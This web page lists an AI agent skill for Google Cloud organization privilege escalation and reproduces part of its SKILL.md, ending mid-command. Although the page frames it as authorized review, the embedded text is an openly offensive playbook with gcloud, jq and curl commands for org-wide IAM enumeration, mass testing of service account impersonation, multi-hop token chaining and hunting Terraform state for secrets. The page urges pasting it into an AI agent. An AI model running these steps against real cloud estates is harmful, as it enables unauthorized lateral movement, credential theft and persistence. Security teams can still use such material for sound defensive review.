gcp-org-escalation
What it does
This skill covers privilege paths across Google Cloud organizations, from one project to organization-wide control. It is for cloud security teams reviewing organization-level permissions.
When to use it
- βWhen an authorized review needs to know whether one project's access could reach the whole Google Cloud organization.
- βWhen you want to check organization policies and their exceptions.
- βWhen a team needs to review infrastructure state files that might reveal secrets for other projects.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you review whether a single project's service account could reach other projects in our Google Cloud organization?β
5 new skills a week. 1 minute to read.
How it works
The agent lists organization permissions, project relationships and service account links, and reports the paths that would let access spread between projects.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
GCP Organization-Level Privilege Escalation
Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org β Folder β Project β Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.
Quick Reference
# Current identity and project
gcloud auth list
gcloud config get-value project
gcloud organizations list
# Enumerate org-level IAM
gcloud organizations get-iam-policy <ORG_ID> --format=json
# List all projects in org
gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)"
# Test cross-project service account impersonation
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>
# List org policy constraints
gcloud org-policies list --organization=<ORG_ID>
# Find Terraform state buckets
gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access |
| Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org |
| Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence |
| Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens |
| Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets |
1. IAM Enumeration at Organization Level
# List organization
ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1)
echo "Org ID: $ORG_ID"
# Org-level IAM policy (who has org-wide access)
gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json
cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}'
# List all folders
gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt
# Enumerate folder-level IAM
while read folder_id; do
echo "=== $folder_id ==="
gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null
done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)")
# List ALL projects in org
gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json
# Per-project IAM enumeration (find over-permissioned SAs)
for proj in $(jq -r '.[].projectId' all_projects.json); do
echo "=== $proj ==="
gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \
jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}'
done
# List all service accounts across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null
done
# Test current permissions
gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \
--filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \
--format="table(bindings.role)"
2. Cross-Project Service Account Impersonation
# Service account impersonation chain:
# SA-A (compromised) β impersonate SA-B (target project) β access target resources
# Check if current SA can impersonate other SAs
gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do
echo "Testing: $sa"
gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa"
done
# Check who can impersonate a specific SA
gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \
jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))'
# Multi-hop impersonation (SA chaining)
# SA-A β impersonate SA-B β impersonate SA-C
gcloud auth print-access-token \
--impersonate-service-account=<SA_B_EMAIL> \
--include-email 2>/dev/null
# Then use SA-B's token to impersonate SA-C via API
TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>)
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \
-H "Authorization: Bearer $TOKEN_B" \
-H "Cont
FAQ
Why are organization permissions hard to see?
They are inherited from above the project level, so they do not appear in project-only views.
Why are Terraform state files relevant?
The skill notes that these files can contain secrets and details about other resources.
What does the review produce?
A list of cross-project paths and the controls that would close them.
Details
Original description by the author
GCP organization-level privilege escalation β cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13996
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.